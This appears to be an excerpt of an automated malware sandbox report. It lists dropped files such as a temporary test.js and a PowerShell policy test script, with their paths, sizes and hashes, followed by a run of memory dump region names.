MD5 a5c074e56305e761d7cbc42993300e1c
SHA1 39b2e23ba5c56b4f332b3607df056d8df23555bf
SHA512 c63d298fc3ab096d9baff606642b4a9c98a707150192191f4a6c5feb81a907495b384760d11cecbff904c486328072548ac76884f14c032c0c1ae0ca640cb5e8
MD5 SHA1 SHA512

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__PSScriptPolicyTest_f5exjaoe.yb2.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_f5exjaoe.yb2.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
MD5 SHA1 SHA512

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test.js

Path C:\Users\Admin\AppData\Local\Temp\test.js
Size 12KB
SHA256 7f34301509d6975851c1cffedbce7b05b5e3549e2dbdd7f0f4a6dfa5900d83b1
MD5 1fb86474569cb04bd88f9421f0928f51
SHA1 7c9f86002055e8468dd14da6dc4c63f03ac8e4a7
SHA512 3e24ab6ae2bdbd0729a1ee0aeba249dbaa94e0655d893662dd2b63ee030d2e043b79f324c743eaa6c8508140496021aa11e8d94c70e5cda89da725ce12aeda0f
SSDEEP 384:D6RcumNMkwwToph72IqDcscMNMPrG7iNVEX0coIztgAucr8BcGLcscETVEk2IWhp:D6RcumNMkwwToph72IqDcscMNMPraiNE
MD5 SHA1 SHA512 SSDEEP

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CUSTOM.DIC

Path C:\Users\Admin\AppData\Roaming\Microsoft\UProof\CUSTOM.DIC
Size 2B
SHA256 b3d510ef04275ca8e698e5b3cbb0ece3949ef9252f0cdc839e9ee347409a2209
MD5 f3b25701fe362ec84616a93a45ce9998
SHA1 d62636d8caec13f04e28442a0a6fa1afeb024bbb
SHA512 98c5f56f3de340690c139e58eb7dac111979f0d4dffe9c4b24ff849510f4b6ffa9fd608c0a3de9ac3c9fd2190f0efaf715309061490f9755a9bfdf1c54ca0d84
MD5 SHA1 SHA512

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memory/1064-58-0x00007FFD24670000-0x00007FFD24865000-memory.dmp

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memory/1064-78-0x00007FFD24670000-0x00007FFD24865000-memory.dmp

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memory/1064-59-0x0000021DC1730000-0x0000021DC1752000-memory.dmp

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memory/1672-57-0x00007FFD24670000-0x00007FFD24865000-memory.dmp

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memory/1672-8-0x00007FFD24670000-0x00007FFD24865000-memory.dmp

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memory/1672-14-0x00007FFCE1D90000-0x00007FFCE1DA0000-memory.dmp

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memory/1672-13-0x00007FFD24670000-0x00007FFD24865000-memory.dmp

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memory/1672-36-0x00007FFD24670000-0x00007FFD24865000-memory.dmp

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memory/1672-35-0x00007FFD24670000-0x00007FFD24865000-memory.dmp

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memory/1672-40-0x00007FFD24670000-0x00007FFD24865000-memory.dmp

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memory/1672-43-0x00007FFD24670000-0x00007FFD24865000-memory.dmp

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memory/1672-3-0x00007FFD2470D000-0x00007FFD2470E000-memory.dmp

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memory/1672-11-0x00007FFD24670000-0x00007FFD24865000-memory.dmp

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memory/1672-12-0x00007FFD24670000-0x00007FFD24865000-memory.dmp

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memory/1672-10-0x00007FFD24670000-0x00007FFD24865000-memory.dmp

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memory/1672-6-0x00007FFCE46F0000-0x00007FFCE4700000-memory.dmp

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memory/1672-9-0x00007FFCE1D90000-0x00007FFCE1DA0000-memory.dmp

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memory/1672-7-0x00007FFD24670000-0x00007FFD24865000-memory.dmp

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memory/1672-15-0x00007FFD24670000-0x00007FFD24865000-memory.dmp

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memory/1672-5-0x00007FFD24670000-0x00007FFD24865000-memory.dmp

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memory/1672-120-0x00007FFCE46F0000-0x00007FFCE4700000-memory.dmp

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memory/1672-119-0x00007FFCE46F0000-0x00007FFCE4700000-memory.dmp

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memory/1672-122-0x00007FFCE46F0000-0x00007FFCE4700000-memory.dmp

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memory/1672-121-0x00007FFCE46F0000-0x00007FFCE4700000-memory.dmp

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memory/1672-123-0x00007FFD24670000-0x00007FFD24865000-memory.dmp

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memory/1672-4-0x00007FFCE46F0000-0x00007FFCE4700000-memory.dmp

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memory/1672-0-0x00007FFCE46F0000-0x00007FFCE4700000-memory.dmp

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memory/1672-2-0x00007FFCE46F0000-0x00007FFCE4700000-memory.dmp

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memory/1672-1-0x00007FFCE46F0000-0x00007FFCE4700000-memory.dmp

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memory/2044-124-0x0000025DA68E0000-0x0000025DA68EA000-memory.dmp

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memory/3852-155-0x000001B5E9E60000-0x000001B5E9E6A000-memory.dmp

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memory/5076-156-0x0000000000400000-0x000000000040A000-memory.dmp

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memory/5076-158-0x0000000005BB0000-0x0000000006154000-memory.dmp

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